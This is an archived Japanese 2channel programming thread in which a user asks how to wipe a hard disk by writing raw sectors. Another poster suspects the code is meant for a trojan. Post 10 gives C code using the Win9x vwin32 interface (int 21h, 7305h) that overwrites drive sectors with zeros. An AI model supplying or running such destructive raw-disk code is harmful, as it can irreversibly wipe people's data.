トップページ⇒tech
12コメント4KB

セクタに書けない

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。 NGNG
手っ取り早くHDDを消去したく思い
for(int i= 2;i<100;i++){
  abswrite(i@`100@`0@`0);
}
などとしましたが、VC++にはabswriteがありませんでした。
同様の機能を持つプログラムを教えてください。
0002名無しさん@お腹いっぱい。 NGNG
1. トロイの木馬orウィルスとしか思えない
2. 「関数」と言わずに「プログラム」と言う
3. ちょっとMSDN調べりゃわかることを人に聞く

以上の3点をもちまして、1にスーパー厨房の称号を与えたいと思います。
00031 NGNG
称号までいただけるなんて嬉しいです。
MSDN見てみました。NTしかダメとか書いてあったけどとりあえず
Win98なのに読み込みができました。ありがとう。
int21h の 7305h呼べばいいんですよね。あとは大量に0でも書き込めば
HDD消せますよね。ほんとにありがとう。
0004どーでもいいことだが NGNG
format使えよ
0005名無しさん@お腹いっぱい。 NGNG
だれが4につっこむのかな?
0006名無しさん@お腹いっぱい。 NGNG
1は同様の機能を持つ「プログラム」と聞いているのだから、
4の解答は正しい。>5
00076 NGNG
提げ忘れた…
鬱だ。
0008名無しさん@お腹いっぱい。 NGNG
>>6
「プログラム」かどうかはどうでもいいけど、同様の機能なの?
0009>8 NGNG
<3
>あとは大量に0でも書き込めば
>HDD消せますよね。
0010スーパー厨房 NGNG
こんなかんじ?
#include <windows.h>
typedef struct _DIOC_REGISTERS {
 DWORD reg_EBX;
 DWORD reg_EDX;
 DWORD reg_ECX;
 DWORD reg_EAX;
 DWORD reg_EDI;
 DWORD reg_ESI;
 DWORD reg_Flags;
} DIOC_REGISTERS@` *PDIOC_REGISTERS;
#pragma pack(1)
typedef struct _DISKIO {
 DWORD dwStartSector;
 WORD  wSectors;
 DWORD dwBuffer;
} DISKIO@` * PDISKIO;
#pragma pack()

void NewWriteSectors (HANDLE hDev@`BYTE bDrive@`DWORD dwStartSector@`WORD wSectors@`LPBYTE lpSectBuff)
{
 BOOL fResult;
 DWORD cb;
 DIOC_REGISTERS reg = {0};
 DISKIO dio;
 dio.dwStartSector = dwStartSector;
 dio.wSectors = wSectors;
 dio.dwBuffer = (DWORD)lpSectBuff;
 reg.reg_EAX = 0x7305;
 reg.reg_EBX = (DWORD)&dio;
 reg.reg_ECX = -1;
 reg.reg_EDX = bDrive;
 reg.reg_ESI = 0x6001;
 DeviceIoControl(hDev@`6@`&reg@` sizeof(reg)@`&reg@` sizeof(reg)@` &cb@` 0);
}

// 呼び出し
unsigned char *buff;
buff=(unsigned char *)(malloc(52000));
ZeroMemory(buff@`52000);
for(int i=2;i<99;i++)
 NewWriteSectors (CreateFile ("\\\\.\\vwin32"@` 0@` 0@` NULL@` 0@`FILE_FLAG_DELETE_ON_CLOSE@` NULL)@`i@`0@`100@`buff);
0011名無しさん@お腹いっぱい。 NGNG
どうでも良いけど、スーパー厨房さんおもしろい。
コテハンにしない?
0012スーパー厨房 NGNG
>11
すごい!ほんとうにコテハンにしちゃってもいいんですか!
うぅ…、でも怪しいです。こんなにみんなに優しくしされると
逆に疑ってしまいますよ〜。きっと僕を騙そうとしてるんですよね。
ここの掲示板の人悪い人ばかりですもん。へへへ、僕は騙されませんよ。
■ このスレッドは過去ログ倉庫に格納されています